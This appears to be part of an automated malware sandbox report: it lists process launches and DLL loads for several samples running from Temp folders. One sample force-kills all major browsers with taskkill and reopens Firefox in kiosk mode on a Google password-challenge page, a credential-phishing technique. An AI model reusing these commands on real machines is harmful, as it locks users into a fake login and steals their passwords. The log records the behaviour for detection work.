Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55057f5d-f16e-4f69-8833-b78b222255b4} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e15e16d710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4160 -parentBuildID 20230927232528 -prefsHandle 3700 -prefMapHandle 3968 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc5f12b-0f59-4048-a56b-678ab339fac2} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e16f218810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2516,i,6233154208295439855,16242932111608889233,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2144,i,222551570837177175,109196626454061472,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6908 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: urlmon.dll	Jump to behavior
